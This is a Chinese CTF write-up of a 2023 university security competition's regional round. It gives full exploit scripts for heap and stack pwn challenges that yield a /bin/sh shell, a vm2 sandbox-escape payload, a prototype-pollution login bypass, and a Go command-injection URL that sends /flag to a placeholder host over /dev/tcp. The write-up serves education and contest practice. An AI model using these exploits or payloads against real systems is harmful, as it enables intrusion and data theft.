国赛华东北分区赛WriteUp分享
第十六届全国大学生信息安全竞赛-创新实践能力赛(华东北赛区)于2023年6月23日至24日在合肥工业大学翡翠湖校区举行。
本次竞赛的模式为AWD plus模式。参赛选手来自华东北区(江苏,安徽,山东)经过初赛选拔获得参加分区赛资格的全日制高校在校生。
以下,为本次比赛非0解题的解题思路分享:
○ PWN
◇ minidb
◇ Member Manage System
◇ guesssing_master
○ WEB
◇ tainted_node
◇ zero
01
PWN
01
minidb
惯例拖入 IDA,因为 switch 数量大于 5 所以编译器默认生成了跳表结构:
tab 找到对应指令,IDA 选项 Edit→Other→Specify switch idiom,根据跳表指令结构进行修复:
完成修复后就能正常 F5 了:
题目本体是一个简易数据库软件,提供了两层功能,第一层是对不同数据库的操作:
• 创建新的数据库
• 使用一个数据库
• 查询现有数据库
• 删除一个数据库
• 更新单个数据库名
逆向分析可知数据库结构体如下:
struct database {
uint64_t type;
char *name;
void *items[0x100];
};
第二层是对数据库的使用功能:
• 创建一个新的键值对
• 查询一个键对应的值
• 更新一个键对应的值
• 删除一个键值对
键值对结构如下:
struct db_item {
struct db_item *next;
int64_t key;
char value[0x80];
};
漏洞点存在于更新键值对的值时会先获取用户输入的长度后在 item->value[input_Len] 直接写入 后再校验长度,单次最长读入 255 字节,但用户可分配的堆块的可写入长度可以为 128 或 256,因此存在一个堆上越界写 的漏洞
漏洞利用
利用越界写改一个数据库的 database->name 指向另一个 chunk,释放进 unsorted bin 利用 UAF read 泄露 libc 后重取释放回 tcache 后劫持 next 指针打 __free_hook:
from pwn import *
context.log_level = 'debug'
# p = process('./minidb')
p = remote('0.0.0.0', 9999)
libc = ELF('./libc-2.31.so')
def add_kv(key:int, value:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"1")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())
p.recvuntil(b"Input the value: ")
p.sendline(value)
def query_kv(key:int):
p.recvuntil(b"Your choice: ")
p.sendline(b"2")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())
def update_kv(key:int, value:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"3")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())
p.recvuntil(b"Input the new value: ")
p.sendline(value)
def delete_kv(key:int):
p.recvuntil(b"Your choice: ")
p.sendline(b"4")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())
def exit_db():
p.recvuntil(b"Your choice: ")
p.sendline(b"666")
def create_db(type:int, name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"1")
p.recvuntil(b"Please input the name of database: ")
p.sendline(name)
p.recvuntil(b"Please input the type of database: ")
p.sendline(str(type).encode())
def use_db(name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"2")
p.recvuntil(b"Please input the name of database: ")
p.sendline(name)
def delete_db(name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"3")
p.recvuntil(b"Please input the name of database: ")
p.sendline(name)
def list_db():
p.recvuntil(b"Your choice: ")
p.sendline(b"4")
def update_db_name(orig_name:bytes, new_name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"5")
p.recvuntil(b"Please input the name of database: ")
p.sendline(orig_name)
p.recvuntil(b"Please input the new name for database: ")
p.sendline(new_name)
def exp():
# pre heap fengshui
create_db(2, "arttnba3")
use_db("arttnba3")
for i in range(3):
add_kv(i, b"arttnba3")
exit_db()
create_db(2, "arttnba4")
use_db("arttnba4")
exit_db()
use_db("arttnba3")
add_kv(114514, b"rat3bant") # the victim
add_kv(1919810, b"arttnba3")
delete_kv(1919810)
exit_db()
delete_db(b"arttnba4")
create_db(2, b"arttnba3" * (0x90 // 8)) # reget 1919810
use_db("arttnba3")
update_kv(2, b'A' * (0x80 + 0x10 + 8)) # db->name is 114514 now
# fullfill the tcache
for i in range(7):
add_kv(1919810 + i, b'arttnba3')
for i in range(7):
delete_kv(1919810 + i)
# get an UAF unsorted chunk and leak libc
delete_kv(114514)
exit_db()
list_db()
libc_leak = u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
main_arena = libc_leak - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("Get libc addr leak: " + hex(libc_leak))
log.success("Libc base: " + hex(libc_base))
# reget the victim
use_db("arttnba3")
for i in range(7):
add_kv(1919810 + i, b'arttnba3')
add_kv(114514, b"rat3bant") # the victim
# free the victim and leak heap base
delete_kv(1919810 + 6)
delete_kv(114514)
exit_db()
list_db()
p.recvuntil(b'tarttnba3nt')
heap_leak = u64(p.recv(6).ljust(8, b'x00'))
heap_base = heap_leak - 0x1640
log.info("Get heap addr leak: " + hex(heap_leak))
log.success("Heap base: " + hex(heap_base))
# hijack the tcache list to __free_hook
update_db_name(p64(heap_leak)[:6],
p64(libc_base + libc.sym['__free_hook'] - 0x88)
+ b"arttnba3" * ((0x90 // 8) - 1))
# overwrite __free_hook by dbname
create_db(2, b"arttnba4" * (0x90 // 8))
create_db(2, b"arttnba3" * ((0x90 // 8) - 1)
+ p64(libc_base + libc.sym['system']))
# trigger
create_db(2, b"/bin/sh")
delete_db(b"/bin/sh")
p.interactive()
if __name__ == '__main__':
exp()
02
Member Manage System
漏洞分析
首先根据程序中的字符串可以判断出这个程序是一个基于stdio的cgi程序。
在DELETE函数中可以发现free之后指针没有置零,存在UAF漏洞。
利用分析
PUT的函数处理添加记录
POST的函数为更新记录
GET的函数为获取记录
同时,函数请求支持url编码
接着就是常规的tcache poisoning的流程。
1.申请一个大chunk,然后将其释放了,使其进入unsorted bin,然后利用UAF泄漏libc的基地址。
2.接着连续释放两个符合tcache范围的chunk,并通过UAF劫持链表指针为free hook。
3.通过申请对应大小的chunk,拿到指向free hook的指针。
4.修改free hook为system,并释放一个存/bin/shx00的chunk实现get shell。
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.terminal = ["konsole", "-e"]
context.arch = "amd64"
# p = process("./cgi")
p = remote("127.0.0.1", 9999)
elf = ELF("./cgi")
libc = ELF("./libc-2.31.so")
http_template = "{} {} HTTP/1.1rn"
http_template += "Content-Type: application/x-www-form-urlencodedrn"
http_template += "rn"
def get(id):
url = "/profile?id={}".format(id)
p.send(http_template.format("GET", url).encode())
p.recvuntil(b"HTTP/1.1")
def post(id, name, passwd):
url = "/profile?id={}".format(id)
body = "name={}&password={}".format(name, passwd)
p.send(http_template.format("POST", url).encode() + body.encode())
p.recvuntil(b"HTTP/1.1")
def put(id, name, passwd):
url = "/profile?id={}".format(id)
body = "name={}&password={}&password_length={}".format(name, passwd, len(passwd))
p.send(http_template.format("PUT", url).encode() + body.encode())
p.recvuntil(b"HTTP/1.1")
def delete(id):
url = "/profile?id={}".format(id)
p.send(http_template.format("DELETE", url).encode())
def bytes2urlencode(bytes_str):
return "".join(["%{:02x}".format(b) for b in bytes_str])
put(0, urlencode("x01x02x03"), "B" * 0x430)
put(1, urlencode("x01x02x03"), "B" * 0x10)
put(2, urlencode("x01x02x03"), "B" * 0x10)
put(3, urlencode("x01x02x03"), "B" * 0x10)
delete(0)
p.recvuntil(b"HTTP/1.1")
get(0)
p.recvuntil(b"password=")
libc_addr = u64(p.recvuntil(b"x7f", drop=False).ljust(8, b"x00")) - 0x1ecbe0
log.success("libc_addr: 0x{:x}".format(libc_addr))
free_hook = libc_addr + libc.symbols["__free_hook"]
system = libc_addr + libc.symbols["system"]
binsh = libc_addr + next(libc.search(b"/bin/sh"))
delete(2)
p.recvuntil(b"HTTP/1.1")
post(2, bytes2urlencode(p64(free_hook)), "A" * 0x20)
put(4, urlencode("/bin/shx00"), urlencode("/bin/shx00"))
put(5, bytes2urlencode(p64(system)), "A" * 0x20)
delete(4)
p.interactive()
03
guesssing_master
本题属于简单的签到题,是基本栈知识点的考察
程序逻辑是猜对100个随机数就可以获得一次栈溢出的机会,以此来泄露libc并进一步编写ROP链,来获得shell
绕过随机数的方式是覆盖随机数种子,并用ctypes指定srand的种子
过了100关之后,首先通过泄露puts的地址来计算libc_base,有了libc_base之后结合附件给的libc-2.31.so,控制参数"/bin/sh"并调用system函数即可获得shell
EXP
from pwn import *
from ctypes import *
context.log_level = 'debug'
#p=process('./vuln1')
p=remote("127.0.0.1",9999)
elf=ELF('./vuln')
libc=cdll.LoadLibrary('/home/l0tus/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
libc.srand(0)
pop_rdi_ret=0x0000000000401413
ret=0x000000000040101a
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
gift=0x40123D
#gdb.attach(p)
p.sendafter("Please enter your name:",b'a'*0xe+p32(0))
for i in range(0,100):
num=libc.rand()%100+1
p.sendafter("Guess the random number:",p64(num))
libc=ELF('/home/l0tus/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#leak libc
payload=b'a'*0x38
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(gift)
p.sendafter("You are talented, here's your gift!",payload)
libc_base=u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))-libc.sym['puts']
print("libc_base = ",hex(libc_base))
#gdb.attach(p)
#get shell rop
payload=b'a'*0x38
#payload+=p64(pop_rdi_ret+1)
payload+=p64(ret)
payload+=p64(pop_rdi_ret)
payload+=p64(libc_base+next(libc.search(b'/bin/sh')))
payload+=p64(libc_base+libc.sym['system'])
p.sendline(payload)
p.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
02
WEB
01
tainted_node
原型链污染绕过登录
try {
merge(userInfo, req.body)
} catch (e) {
return res.render("login", {message: "Login Error"})
}
这里将两个对象进行了merge操作,而merge会导致原型链污染,可以污染userInfo.logined,使其为true,来绕过登录。
headers = {
"Content-Type": "application/json"
}
payload = {
"constructor": {
"prototype": {
"logined": True
}
},
"username": "admin",
"password": "123"
}
response = requests.post(url+'/login', headers=headers, data=json.dumps(payload), allow_redirects=False)
注意发送的HTTP请求中,Content-Type必须为application/json,这样才会将__proto__属性解析到原型链上,而不是一个键名为__proto__的属性。
并且这里merge对Ejs原型链污染RCE的利用链的属性做了拦截,防止在这里通过原型链污染打EJS RCE。
if (key === 'escapeFunction' || key === 'outputFunctionName') {
throw new Error("No RCE")
}
VM2逃逸RCE
登录后可以访问到VM2沙箱代码执行的接口,这里打CVE-2023-29199,可以完成RCE。
这个CVE主要的利用点在于,因为vm2抛出异常时,会把主机对象泄漏到沙箱中,这里通过一系列的技巧触发主机异常并且访问主机的函数构造器,来执行任意代码。
具体可以参考https://github.com/advisories/GHSA-xj72-wvfv-8985
在vm2中执行如下代码即可完成沙箱逃逸。
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /flag');
}
02
zero
gorm 零值绕过
题目只有一个api,/api/process是选手可以使用的,先分析一下这个api
r.Group("/api", middlewave.Auth).GET("/process", api.Process)
这个 api 先有一个鉴权中间件,所以首先需要绕过鉴权
token字段存在与否的校验
token, exist := c.GetQuery("token")
if !exist {
c.AbortWithStatusJSON(401, gin.H{
"code": 401,
"message": "unauthorized",
})
return
}
token字段必须存在在query里才能过第一步校验
token值校验
if db.CheckToken(token) {
c.Next()
return
}
调用了CheckToken,只有CheckToken返回true才能进入下一步处理
跟踪到db层的CheckToken
func CheckToken(token string) bool {
// return gorm.ErrRecordNotFound when token not existed.
return db.Where(&Session{Token: token}).First(&Session{}).Error == nil
}
注释说明了这段代码的工作方式,由于在数据库里找不到记录就会报错,以此来检查token是否存在于数据库中
所以我们需要构造一个token参数,使得CheckToken返回true
token的值是不可预测的,可能会有选手认为没初始化随机数种子,可以预测
token的值,但是这里使用的是crypt/rand包,不需要初始化随机数种子,所以这个思路是行不通的
这里需要利用gorm的一个特性,gorm的db.First()在查找数据时,如果入参的结构体字段的值为零值,gorm会忽略这个字段
所以我们可以构造一个token值零值的token,这样gorm就会忽略token字段,从而绕过token的校验
即 http://target/api/process?token=
Slice 特性修改原数组
for _ = range time.Tick(time.Second) {
cmd := array[3]
if cmd == "" {
continue
}
go func() {
exec.Command("/bin/bash", "-c", cmd).Run()
}()
array[3] = ""
}
在 api 包里,我们可以看到这段代码,每秒钟会执行一次,从array里取出第四个元素,作为命令执行
ar, ok := c.GetQueryArray("array")
if !ok {
c.Status(400)
return
}
ar1 := array[:3]
ar1 = append(ar1, ar...)
c.String(200, fmt.Sprint(ar1))
好,我们看实际的业务逻辑,获取array参数,然后将array参数的值拼接到array的前三个元素后面,最后返回
然而我们需要修改array的第四个元素
这里涉及到golang的slice的特性,slice的拷贝的底层数组还是原来的底层数组,所以可以通过修改拷贝的slice来修改原来的slice
所以我们array参数的值会被作为命令执行,我们只需要将命令写入array参数即可
参考exp
flag 在 /flag
构造exp,将flag发到本地tcp监听端口
http://target/api/process?token=&array=cat%20%2Fflag%20%3E%20%2Fdev%2Ftcp%2Fxxx%2Fxx
这只是一个样例exp,更推荐弹shell
往期回顾
扫码关注我们
天虞实验室为赛宁网安旗下专业技术团队,重点攻关公司业务相关信息安全前沿技术。
原文始发于微信公众号(天虞实验室):ciscn国赛华东北分区赛WriteUp分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论